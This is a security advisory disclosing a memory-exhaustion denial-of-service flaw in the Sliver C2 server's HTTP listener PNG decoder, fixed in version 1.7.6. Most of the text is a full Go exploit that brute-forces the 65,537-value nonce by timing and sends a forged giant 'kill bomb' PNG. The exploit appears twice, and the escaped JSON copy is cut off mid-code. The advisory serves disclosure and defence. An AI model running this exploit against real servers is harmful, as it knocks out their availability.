GHSA-663M-7X7M-G4FW

Vulnerability from github – Published: 2026-10-15 20:09 – Updated: 2026-10-15 20:09
VLAI
Summary
Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder
Details

Summary

Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.

Details

The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go

const (
    EncoderModulus = uint64(65537)
)

The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: util/encoders/images.go

func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
    img := imageFromBytes(data)
    var buf bytes.Buffer
    encoder.Encode(&buf, img)
    return buf.Bytes(), nil
}

func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
    buf := bytes.NewBuffer(data)
    img, err := png.Decode(buf)
    if err != nil { return nil, err }
    return bytesFromImage(img), nil
}

PoC

The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.

Get the latest version of Sliver (Currently 1.7.3)

git clone https://github.com/BishopFox/sliver.git

Build the Docker container:

cd sliver
docker build -t sliver-test:local -f Dockerfile .

Run the Docker container with a memory cap for example 4GB:

docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local 

After the Docker container starts, create an http listener on port 8080:

http -L 0.0.0.0 -l 8080

In a seperate terminal create the following Go project: go.mod

module pngboomer
go 1.25

poc.go

// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build:  go build -o pngboomer
// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main

import (
        "bytes"
        "compress/zlib"
        "context"
        "encoding/binary"
        "flag"
        "fmt"
        "hash/crc32"
        "io"
        "math/rand"
        "net"
        "net/http"
        "net/url"
        "os"
        "sort"
        "sync"
        "sync/atomic"
        "time"
)

// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool

func col(code, s string) string {
        if nocolor {
                return s
        }
        return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string          { return col("1", s) }
func D(s string) string          { return col("2", s) }
func R(s string) string          { return col("1;31", s) }
func G(s string) string          { return col("1;32", s) }
func Y(s string) string          { return col("1;33", s) }
func C(s string) string          { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }

// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
        out := make([]byte, 4, 12+len(data))
        binary.BigEndian.PutUint32(out, uint32(len(data)))
        out = append(out, typ...)
        out = append(out, data...)
        crc := crc32.NewIEEE()
        crc.Write([]byte(typ))
        crc.Write(data)
        tail := make([]byte, 4)
        binary.BigEndian.PutUint32(tail, crc.Sum32())
        return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
        bpp := 3
        if ct == 6 {
                bpp = 4
        }
        var zb bytes.Buffer
        zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
        row := make([]byte, 1+bpp*W)
        for i := 0; i < H; i++ {
                zw.Write(row)
        }
        zw.Close()
        ihdr := make([]byte, 13)
        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
        ihdr[8], ihdr[9] = 8, byte(ct)
        out := []byte("\x89PNG\r\n\x1a\n")
        out = append(out, chunk("IHDR", ihdr)...)
        out = append(out, chunk("IDAT", zb.Bytes())...)
        return append(out, chunk("IEND", nil)...)
}

// HTTP helpers
func hostPort(u string) string {
        p, _ := url.Parse(u)
        if p.Port() != "" {
                return p.Hostname() + ":" + p.Port()
        }
        if p.Scheme == "https" {
                return p.Hostname() + ":443"
        }
        return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
        c, err := net.DialTimeout("tcp", hp, t)
        if err != nil {
                return false
        }
        c.Close()
        return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
        req, _ := http.NewRequestWithContext(ctx, "POST",
                fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
        req.Header.Set("Content-Type", "application/octet-stream")
        t := time.Now()
        resp, err := cli.Do(req)
        dt := time.Since(t)
        if err == nil {
                io.Copy(io.Discard, resp.Body)
                resp.Body.Close()
        }
        return dt
}

type hit struct {
        n  uint64
        dt time.Duration
}

func main() {
        target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
        workers := flag.Int("workers", 8, "scan concurrency")
        probeW := flag.Int("probe-w", 2000, "probe PNG width")
        probeH := flag.Int("probe-h", 2000, "probe PNG height")
        probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
        killW := flag.Int("kill-w", 32767, "kill PNG width")
        killH := flag.Int("kill-h", 32767, "kill PNG height")
        killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
        thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
        outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
        calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
        verifyN := flag.Int("verify", 3, "re-probe count per candidate")
        maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
        pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
        kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
        capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
        known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
        scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
        noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
        noClr := flag.Bool("no-color", false, "disable ANSI color")
        silent := flag.Bool("silent", false, "only print nonce on stdout")
        flag.Parse()

        nocolor = *noClr || *silent
        pBpp, kBpp := 3, 3
        if *probeCT == 6 {
                pBpp = 4
        }
        if *killCT == 6 {
                kBpp = 4
        }
        probeMB := pBpp * *probeW * *probeH / 1024 / 1024
        killMB := kBpp * *killW * *killH / 1024 / 1024
        peakMB := *workers * probeMB
        if *capMB > 0 && peakMB > *capMB/2 {
                fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n",
                        R("[X] safety:"), peakMB, *capMB)
                os.Exit(2)
        }

        probe := makePNG(*probeW, *probeH, *probeCT)
        kill := makePNG(*killW, *killH, *killCT)
        hp := hostPort(*target)
        if !alive(hp, 2*time.Second) {
                fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp)
                os.Exit(2)
        }
        if !*silent {
                fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS"))
                fmt.Fprintf(os.Stderr, "  probe %dB wire  %dx%d c=%d  → %d MiB decode\n",
                        len(probe), *probeW, *probeH, *probeCT, probeMB)
                fmt.Fprintf(os.Stderr, "  kill  %dB wire  %dx%d c=%d  → %d MiB decode\n",
                        len(kill), *killW, *killH, *killCT, killMB)
                fmt.Fprintf(os.Stderr, "  scan peak ≈ %d MiB  target cap=%d MiB  reachable=%s\n",
                        peakMB, *capMB, B(hp))
        }

        cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
        pngN := uint64(*known)

        if pngN == 0 {
                // ─── Phase 1: calibrate non-PNG baseline ───
                dts := make([]time.Duration, *calibN)
                sem := make(chan struct{}, 8)
                var wg sync.WaitGroup
                for i := 0; i < *calibN; i++ {
                        i := i
                        sem <- struct{}{}
                        wg.Add(1)
                        go func() {
                                defer wg.Done()
                                defer func() { <-sem }()
                                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
                        }()
                }
                wg.Wait()
                sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
                p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
                eff := int64(*thMs)
                if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
                        eff = a
                }
                *thMs = int(eff)
                thresh := time.Duration(*thMs) * time.Millisecond
                if !*silent {
                        fmt.Fprintf(os.Stderr, "  baseline p50=%.0fms p99=%.0fms  → threshold=%s (max of floor, p99×%.0f)\n",
                                ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
                }

                // ─── Phase 2: scan with verify + blacklist-on-blip ───
                blacklist := map[uint64]bool{}
                var maxDt int64
                var maxNonce uint64
                var totalDone uint64
                scanStart := time.Now()
                const maxBlips = 8

                // Shuffled nonce order, shared across re-scans. Workers pull via atomic
                // counter — no channels, no producer goroutine.
                order := make([]uint64, *maxN-1)
                for i := range order {
                        order[i] = uint64(i + 1)
                }
                rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })

                for blip := 0; blip < maxBlips && pngN == 0; blip++ {
                        scanCtx, scanCancel := context.WithCancel(context.Background())
                        hits := make(chan hit, 1)
                        var idx int64
                        var scanned uint64
                        var swg sync.WaitGroup
                        for i := 0; i < *workers; i++ {
                                swg.Add(1)
                                go func() {
                                        defer swg.Done()
                                        for scanCtx.Err() == nil {
                                                i := atomic.AddInt64(&idx, 1) - 1
                                                if i >= int64(len(order)) {
                                                        return
                                                }
                                                n := order[i]
                                                if blacklist[n] {
                                                        continue
                                                }
                                                dt := post(scanCtx, cli, *target, probe, n)
                                                atomic.AddUint64(&scanned, 1)
                                                for { // track slowest probe (lock-free CAS)
                                                        cur := atomic.LoadInt64(&maxDt)
                                                        if dt.Nanoseconds() <= cur {
                                                                break
                                                        }
                                                        if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
                                                                atomic.StoreUint64(&maxNonce, n)
                                                                break
                                                        }
                                                }
                                                if dt >= thresh {
                                                        select {
                                                        case hits <- hit{n, dt}:
                                                        default:
                                                        }
                                                        scanCancel()
                                                        return
                                                }
                                        }
                                }()
                        }

                        if !*silent {
                                go func() {
                                        t := time.NewTicker(750 * time.Millisecond)
                                        defer t.Stop()
                                        for {
                                                select {
                                                case <-scanCtx.Done():
                                                        return
                                                case <-t.C:
                                                        tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
                                                        el := time.Since(scanStart).Seconds()
                                                        fmt.Fprintf(os.Stderr, D("  scanned %d (%.0f/s, %.1fs, blips=%d)\n"),
                                                                tot, float64(tot)/el, el, blip)
                                                }
                                        }
                                }()
                        }

                        go func() { swg.Wait(); close(hits) }()
                        cand, ok := <-hits
                        scanCancel()
                        atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
                        if !ok {
                                break // exhausted, no candidate
                        }

                        // VERIFY: re-probe N×, count threshold hits, render tries inline
                        conf := 0
                        var tries bytes.Buffer
                        for i := 0; i < *verifyN; i++ {
                                dt := post(context.Background(), cli, *target, probe, cand.n)
                                if dt >= thresh {
                                        conf++
                                        tries.WriteString(G("✓"))
                                } else {
                                        tries.WriteString(R("✗"))
                                }
                                fmt.Fprintf(&tries, "%.0fms ", ms(dt))
                        }
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "  candidate %s (%.0fms)  verify: %s\n",
                                        B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
                        }
                        if conf >= (*verifyN+1)/2 {
                                pngN = cand.n
                                if !*silent {
                                        fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n",
                                                G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
                                                time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
                                }
                                break
                        }
                        blacklist[cand.n] = true
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n",
                                        Y("[!] blip"), cand.n, conf, *verifyN)
                        }
                }

                if pngN == 0 {
                        mDt := time.Duration(atomic.LoadInt64(&maxDt))
                        mN := atomic.LoadUint64(&maxNonce)
                        fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n",
                                R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
                        fmt.Fprintf(os.Stderr, "  slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt))
                        suggest := mDt.Milliseconds() * 6 / 10
                        if suggest < 30 {
                                suggest = 30
                        }
                        fmt.Fprintf(os.Stderr, "  fix: %s  or grow -probe-w/-probe-h\n",
                                C(fmt.Sprintf("-threshold-ms %d", suggest)))
                        os.Exit(2)
                }
        }

        if *scanOnly {
                fmt.Println(pngN)
                return
        }

        // ─── Phase 3: fire kill bomb ───
        if !*silent {
                fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n",
                        B("[*]"), killMB, *target, pngN)
        }
        kCli := &http.Client{Timeout: *kTO}
        killStart := time.Now()
        done := make(chan struct{})
        go func() {
                dt := post(context.Background(), kCli, *target, kill, pngN)
                if !*silent {
                        fmt.Fprintf(os.Stderr, "  kill returned in %.2fs\n", dt.Seconds())
                }
                close(done)
        }()

        if *noConf {
                <-done
                fmt.Println(pngN)
                return
        }

        deadline := time.Now().Add(*kTO)
        for time.Now().Before(deadline) {
                time.Sleep(250 * time.Millisecond)
                if !alive(hp, time.Second) {
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n",
                                        G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
                        }
                        fmt.Println(pngN)
                        return
                }
        }
        fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO)
        os.Exit(1)
}

Impact

This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.

Collaboration

This vulnerability was found with the help of Wencheng Xue (panwnvda).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/BishopFox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:09:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nSliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. \n### Details\n\nThe first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`\n```go\nconst (\n    EncoderModulus = uint64(65537)\n)\n```\n\nThe second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:\n`util/encoders/images.go`\n\n```go\nfunc (p PNGEncoder) Encode(data []byte) ([]byte, error) {\n    img := imageFromBytes(data)\n    var buf bytes.Buffer\n    encoder.Encode(\u0026buf, img)\n    return buf.Bytes(), nil\n}\n\nfunc (p PNGEncoder) Decode(data []byte) ([]byte, error) {\n    buf := bytes.NewBuffer(data)\n    img, err := png.Decode(buf)\n    if err != nil { return nil, err }\n    return bytesFromImage(img), nil\n}\n```\n\n### PoC\nThe first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.\n\nGet the latest version of Sliver (Currently 1.7.3)\n```bash\ngit clone https://github.com/BishopFox/sliver.git\n```\n\nBuild the Docker container:\n```bash\ncd sliver\ndocker build -t sliver-test:local -f Dockerfile .\n```\n\nRun the Docker container with a memory cap for example 4GB:\n```bash\ndocker run --rm \\\n--name sliver-test \\\n--memory=4g \\\n-p 8080:8080 \\\n-it \\\nsliver-test:local \n```\n\nAfter the Docker container starts, create an http listener on port 8080:\n\n```bash\nhttp -L 0.0.0.0 -l 8080\n```\n\nIn a seperate terminal create the following Go project:\n`go.mod`\n```Go\nmodule pngboomer\ngo 1.25\n```\n\n`poc.go`\n```Go\n// pngboomer \u2014 Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.\n//\n// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run\n// it against a Docker container with --memory=\u003cN\u003eg and pass -target-cap-mb N\n// so the tool can refuse dangerous worker/probe combos.\n//\n// Build:  go build -o pngboomer\n// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240\npackage main\n\nimport (\n        \"bytes\"\n        \"compress/zlib\"\n        \"context\"\n        \"encoding/binary\"\n        \"flag\"\n        \"fmt\"\n        \"hash/crc32\"\n        \"io\"\n        \"math/rand\"\n        \"net\"\n        \"net/http\"\n        \"net/url\"\n        \"os\"\n        \"sort\"\n        \"sync\"\n        \"sync/atomic\"\n        \"time\"\n)\n\n// ANSI color \u2014 single helper, disabled by -no-color / -silent.\nvar nocolor bool\n\nfunc col(code, s string) string {\n        if nocolor {\n                return s\n        }\n        return \"\\x1b[\" + code + \"m\" + s + \"\\x1b[0m\"\n}\nfunc B(s string) string          { return col(\"1\", s) }\nfunc D(s string) string          { return col(\"2\", s) }\nfunc R(s string) string          { return col(\"1;31\", s) }\nfunc G(s string) string          { return col(\"1;32\", s) }\nfunc Y(s string) string          { return col(\"1;33\", s) }\nfunc C(s string) string          { return col(\"1;36\", s) }\nfunc ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }\n\n// PNG forging \u2014 stream zero-rows into zlib so client RSS stays ~10 MB even for\n// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).\nfunc chunk(typ string, data []byte) []byte {\n        out := make([]byte, 4, 12+len(data))\n        binary.BigEndian.PutUint32(out, uint32(len(data)))\n        out = append(out, typ...)\n        out = append(out, data...)\n        crc := crc32.NewIEEE()\n        crc.Write([]byte(typ))\n        crc.Write(data)\n        tail := make([]byte, 4)\n        binary.BigEndian.PutUint32(tail, crc.Sum32())\n        return append(out, tail...)\n}\nfunc makePNG(W, H, ct int) []byte {\n        bpp := 3\n        if ct == 6 {\n                bpp = 4\n        }\n        var zb bytes.Buffer\n        zw, _ := zlib.NewWriterLevel(\u0026zb, zlib.BestCompression)\n        row := make([]byte, 1+bpp*W)\n        for i := 0; i \u003c H; i++ {\n                zw.Write(row)\n        }\n        zw.Close()\n        ihdr := make([]byte, 13)\n        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))\n        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))\n        ihdr[8], ihdr[9] = 8, byte(ct)\n        out := []byte(\"\\x89PNG\\r\\n\\x1a\\n\")\n        out = append(out, chunk(\"IHDR\", ihdr)...)\n        out = append(out, chunk(\"IDAT\", zb.Bytes())...)\n        return append(out, chunk(\"IEND\", nil)...)\n}\n\n// HTTP helpers\nfunc hostPort(u string) string {\n        p, _ := url.Parse(u)\n        if p.Port() != \"\" {\n                return p.Hostname() + \":\" + p.Port()\n        }\n        if p.Scheme == \"https\" {\n                return p.Hostname() + \":443\"\n        }\n        return p.Hostname() + \":80\"\n}\nfunc alive(hp string, t time.Duration) bool {\n        c, err := net.DialTimeout(\"tcp\", hp, t)\n        if err != nil {\n                return false\n        }\n        c.Close()\n        return true\n}\nfunc post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {\n        req, _ := http.NewRequestWithContext(ctx, \"POST\",\n                fmt.Sprintf(\"%s?n=%d\", base, n), bytes.NewReader(body))\n        req.Header.Set(\"Content-Type\", \"application/octet-stream\")\n        t := time.Now()\n        resp, err := cli.Do(req)\n        dt := time.Since(t)\n        if err == nil {\n                io.Copy(io.Discard, resp.Body)\n                resp.Body.Close()\n        }\n        return dt\n}\n\ntype hit struct {\n        n  uint64\n        dt time.Duration\n}\n\nfunc main() {\n        target := flag.String(\"url\", \"http://127.0.0.1:8080/\", \"Sliver HTTP C2 base URL\")\n        workers := flag.Int(\"workers\", 8, \"scan concurrency\")\n        probeW := flag.Int(\"probe-w\", 2000, \"probe PNG width\")\n        probeH := flag.Int(\"probe-h\", 2000, \"probe PNG height\")\n        probeCT := flag.Int(\"probe-color\", 2, \"probe color: 2=RGB, 6=RGBA\")\n        killW := flag.Int(\"kill-w\", 32767, \"kill PNG width\")\n        killH := flag.Int(\"kill-h\", 32767, \"kill PNG height\")\n        killCT := flag.Int(\"kill-color\", 6, \"kill color: 2=RGB, 6=RGBA\")\n        thMs := flag.Int(\"threshold-ms\", 50, \"threshold floor (effective = max(this, baseline_p99 \u00d7 outlier-mult))\")\n        outlier := flag.Float64(\"outlier-mult\", 15.0, \"baseline_p99 \u00d7 this = adaptive threshold\")\n        calibN := flag.Int(\"calibrate\", 16, \"non-PNG calibration samples\")\n        verifyN := flag.Int(\"verify\", 3, \"re-probe count per candidate\")\n        maxN := flag.Int(\"max-nonce\", 65537, \"top nonce (Sliver modulus = 65537)\")\n        pTO := flag.Duration(\"probe-timeout\", 5*time.Second, \"per-probe HTTP timeout\")\n        kTO := flag.Duration(\"kill-timeout\", 180*time.Second, \"kill request HTTP timeout\")\n        capMB := flag.Int(\"target-cap-mb\", 10240, \"declared target memory cap, 0 = disable check\")\n        known := flag.Int(\"nonce\", 0, \"skip scan, use this nonce directly\")\n        scanOnly := flag.Bool(\"scan-only\", false, \"stop after finding nonce, don\u0027t kill\")\n        noConf := flag.Bool(\"no-confirm\", false, \"don\u0027t TCP-poll for death after kill\")\n        noClr := flag.Bool(\"no-color\", false, \"disable ANSI color\")\n        silent := flag.Bool(\"silent\", false, \"only print nonce on stdout\")\n        flag.Parse()\n\n        nocolor = *noClr || *silent\n        pBpp, kBpp := 3, 3\n        if *probeCT == 6 {\n                pBpp = 4\n        }\n        if *killCT == 6 {\n                kBpp = 4\n        }\n        probeMB := pBpp * *probeW * *probeH / 1024 / 1024\n        killMB := kBpp * *killW * *killH / 1024 / 1024\n        peakMB := *workers * probeMB\n        if *capMB \u003e 0 \u0026\u0026 peakMB \u003e *capMB/2 {\n                fmt.Fprintf(os.Stderr, \"%s scan peak %d MiB \u003e target cap %d / 2 \u2014 lower -workers or -probe-w/h\\n\",\n                        R(\"[X] safety:\"), peakMB, *capMB)\n                os.Exit(2)\n        }\n\n        probe := makePNG(*probeW, *probeH, *probeCT)\n        kill := makePNG(*killW, *killH, *killCT)\n        hp := hostPort(*target)\n        if !alive(hp, 2*time.Second) {\n                fmt.Fprintf(os.Stderr, \"%s target unreachable: %s\\n\", R(\"[X]\"), hp)\n                os.Exit(2)\n        }\n        if !*silent {\n                fmt.Fprintln(os.Stderr, B(\"pngboomer \u2014 Sliver C2 PNG-bomb DoS\"))\n                fmt.Fprintf(os.Stderr, \"  probe %dB wire  %dx%d c=%d  \u2192 %d MiB decode\\n\",\n                        len(probe), *probeW, *probeH, *probeCT, probeMB)\n                fmt.Fprintf(os.Stderr, \"  kill  %dB wire  %dx%d c=%d  \u2192 %d MiB decode\\n\",\n                        len(kill), *killW, *killH, *killCT, killMB)\n                fmt.Fprintf(os.Stderr, \"  scan peak \u2248 %d MiB  target cap=%d MiB  reachable=%s\\n\",\n                        peakMB, *capMB, B(hp))\n        }\n\n        cli := \u0026http.Client{Timeout: *pTO, Transport: \u0026http.Transport{MaxIdleConnsPerHost: *workers}}\n        pngN := uint64(*known)\n\n        if pngN == 0 {\n                // \u2500\u2500\u2500 Phase 1: calibrate non-PNG baseline \u2500\u2500\u2500\n                dts := make([]time.Duration, *calibN)\n                sem := make(chan struct{}, 8)\n                var wg sync.WaitGroup\n                for i := 0; i \u003c *calibN; i++ {\n                        i := i\n                        sem \u003c- struct{}{}\n                        wg.Add(1)\n                        go func() {\n                                defer wg.Done()\n                                defer func() { \u003c-sem }()\n                                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))\n                        }()\n                }\n                wg.Wait()\n                sort.Slice(dts, func(i, j int) bool { return dts[i] \u003c dts[j] })\n                p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]\n                eff := int64(*thMs)\n                if a := int64(float64(p99.Milliseconds()) * *outlier); a \u003e eff {\n                        eff = a\n                }\n                *thMs = int(eff)\n                thresh := time.Duration(*thMs) * time.Millisecond\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  baseline p50=%.0fms p99=%.0fms  \u2192 threshold=%s (max of floor, p99\u00d7%.0f)\\n\",\n                                ms(p50), ms(p99), B(fmt.Sprintf(\"%dms\", *thMs)), *outlier)\n                }\n\n                // \u2500\u2500\u2500 Phase 2: scan with verify + blacklist-on-blip \u2500\u2500\u2500\n                blacklist := map[uint64]bool{}\n                var maxDt int64\n                var maxNonce uint64\n                var totalDone uint64\n                scanStart := time.Now()\n                const maxBlips = 8\n\n                // Shuffled nonce order, shared across re-scans. Workers pull via atomic\n                // counter \u2014 no channels, no producer goroutine.\n                order := make([]uint64, *maxN-1)\n                for i := range order {\n                        order[i] = uint64(i + 1)\n                }\n                rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })\n\n                for blip := 0; blip \u003c maxBlips \u0026\u0026 pngN == 0; blip++ {\n                        scanCtx, scanCancel := context.WithCancel(context.Background())\n                        hits := make(chan hit, 1)\n                        var idx int64\n                        var scanned uint64\n                        var swg sync.WaitGroup\n                        for i := 0; i \u003c *workers; i++ {\n                                swg.Add(1)\n                                go func() {\n                                        defer swg.Done()\n                                        for scanCtx.Err() == nil {\n                                                i := atomic.AddInt64(\u0026idx, 1) - 1\n                                                if i \u003e= int64(len(order)) {\n                                                        return\n                                                }\n                                                n := order[i]\n                                                if blacklist[n] {\n                                                        continue\n                                                }\n                                                dt := post(scanCtx, cli, *target, probe, n)\n                                                atomic.AddUint64(\u0026scanned, 1)\n                                                for { // track slowest probe (lock-free CAS)\n                                                        cur := atomic.LoadInt64(\u0026maxDt)\n                                                        if dt.Nanoseconds() \u003c= cur {\n                                                                break\n                                                        }\n                                                        if atomic.CompareAndSwapInt64(\u0026maxDt, cur, dt.Nanoseconds()) {\n                                                                atomic.StoreUint64(\u0026maxNonce, n)\n                                                                break\n                                                        }\n                                                }\n                                                if dt \u003e= thresh {\n                                                        select {\n                                                        case hits \u003c- hit{n, dt}:\n                                                        default:\n                                                        }\n                                                        scanCancel()\n                                                        return\n                                                }\n                                        }\n                                }()\n                        }\n\n                        if !*silent {\n                                go func() {\n                                        t := time.NewTicker(750 * time.Millisecond)\n                                        defer t.Stop()\n                                        for {\n                                                select {\n                                                case \u003c-scanCtx.Done():\n                                                        return\n                                                case \u003c-t.C:\n                                                        tot := atomic.LoadUint64(\u0026totalDone) + atomic.LoadUint64(\u0026scanned)\n                                                        el := time.Since(scanStart).Seconds()\n                                                        fmt.Fprintf(os.Stderr, D(\"  scanned %d (%.0f/s, %.1fs, blips=%d)\\n\"),\n                                                                tot, float64(tot)/el, el, blip)\n                                                }\n                                        }\n                                }()\n                        }\n\n                        go func() { swg.Wait(); close(hits) }()\n                        cand, ok := \u003c-hits\n                        scanCancel()\n                        atomic.AddUint64(\u0026totalDone, atomic.LoadUint64(\u0026scanned))\n                        if !ok {\n                                break // exhausted, no candidate\n                        }\n\n                        // VERIFY: re-probe N\u00d7, count threshold hits, render tries inline\n                        conf := 0\n                        var tries bytes.Buffer\n                        for i := 0; i \u003c *verifyN; i++ {\n                                dt := post(context.Background(), cli, *target, probe, cand.n)\n                                if dt \u003e= thresh {\n                                        conf++\n                                        tries.WriteString(G(\"\u2713\"))\n                                } else {\n                                        tries.WriteString(R(\"\u2717\"))\n                                }\n                                fmt.Fprintf(\u0026tries, \"%.0fms \", ms(dt))\n                        }\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"  candidate %s (%.0fms)  verify: %s\\n\",\n                                        B(fmt.Sprintf(\"%d\", cand.n)), ms(cand.dt), tries.String())\n                        }\n                        if conf \u003e= (*verifyN+1)/2 {\n                                pngN = cand.n\n                                if !*silent {\n                                        fmt.Fprintf(os.Stderr, \"%s nonce=%s in %.2fs (%d probes, %d blips)\\n\",\n                                                G(\"[+] FOUND\"), B(fmt.Sprintf(\"%d\", pngN)),\n                                                time.Since(scanStart).Seconds(), atomic.LoadUint64(\u0026totalDone), len(blacklist))\n                                }\n                                break\n                        }\n                        blacklist[cand.n] = true\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s nonce %d rejected (%d/%d) \u2014 blacklisted\\n\",\n                                        Y(\"[!] blip\"), cand.n, conf, *verifyN)\n                        }\n                }\n\n                if pngN == 0 {\n                        mDt := time.Duration(atomic.LoadInt64(\u0026maxDt))\n                        mN := atomic.LoadUint64(\u0026maxNonce)\n                        fmt.Fprintf(os.Stderr, \"%s no candidate \u2265 %dms after %d probes\\n\",\n                                R(\"[X] scan failed:\"), *thMs, atomic.LoadUint64(\u0026totalDone))\n                        fmt.Fprintf(os.Stderr, \"  slowest probe: nonce=%d at %.0fms\\n\", mN, ms(mDt))\n                        suggest := mDt.Milliseconds() * 6 / 10\n                        if suggest \u003c 30 {\n                                suggest = 30\n                        }\n                        fmt.Fprintf(os.Stderr, \"  fix: %s  or grow -probe-w/-probe-h\\n\",\n                                C(fmt.Sprintf(\"-threshold-ms %d\", suggest)))\n                        os.Exit(2)\n                }\n        }\n\n        if *scanOnly {\n                fmt.Println(pngN)\n                return\n        }\n\n        // \u2500\u2500\u2500 Phase 3: fire 